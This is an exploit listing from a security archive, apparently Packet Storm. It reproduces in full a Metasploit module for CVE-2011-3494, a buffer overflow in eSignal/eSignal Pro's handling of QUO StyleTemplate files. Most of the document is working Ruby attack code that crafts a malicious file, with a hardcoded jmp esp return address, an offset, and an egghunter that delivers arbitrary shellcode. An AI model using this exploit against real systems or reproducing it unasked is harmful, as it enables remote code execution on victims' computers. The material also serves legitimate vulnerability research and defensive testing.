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eSignal / eSignal Pro 10.6.2425.1208 Buffer Overflow

eSignal / eSignal Pro 10.6.2425.1208 Buffer Overflow
Posted Sep 29, 2011
Authored by Luigi Auriemma, mr_me, TecR0c | Site metasploit.com

eSignal and eSignal Pro versions 10.6.2425.1208 and below suffer from a file parsing buffer overflow in QUO. Successful exploitation of this vulnerability may take up to several seconds due to the use of egghunter. Also, DEP bypass is unlikely due to the limited space for payload.

tags | exploit, overflow
advisories | CVE-2011-3494, OSVDB-75456
SHA-256 | 45cd9b3a8b486aca462800fbb23d651421a08959c7bf6605daf83dde4828f239

eSignal / eSignal Pro 10.6.2425.1208 Buffer Overflow

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##
# $Id: esignal_styletemplate_bof.rb 13768 2011-09-21 11:55:56Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
'Description' => %q{
The software is unable to handle the "<StyleTemplate>" files (even
those original included in the program) like those with the registered
extensions QUO, SUM and POR. Successful exploitation of this vulnerability
may take up to several seconds due to the use of egghunter. Also, DEP
bypass is unlikely due to the limited space for payload.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Original discovery
'TecR0c <tecr0c[at]tecninja.net>', # msf
'mr_me <steventhomasseeley[at]gmai.com>', # msf
],
'Version' => '$Revision: 13768 $',
'References' =>
[
[ 'CVE', '2011-3494' ],
[ 'OSVDB', '75456' ],
[ 'BID', '49600' ],
[ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
[ 'URL', 'http://www.exploit-db.com/exploits/17837/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00"
},

'Targets' =>
[
[
'Win XP SP3 / Windows Vista / Windows 7',
{
'Ret' => 0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
'Offset' => 54
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 06 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
], self.class)

end

def exploit
eggoptions =
{
:checksum => false,
:eggtag => 'eggz'
}

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

buffer = rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << rand_text_alpha_upper(4)
buffer << hunter
buffer << rand_text_alpha_upper(1500)
buffer << egg

file = "<StyleTemplate>\r\n"
file << "#{buffer}\r\n"
file << "</StyleTemplate>\r\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(file)
end
end

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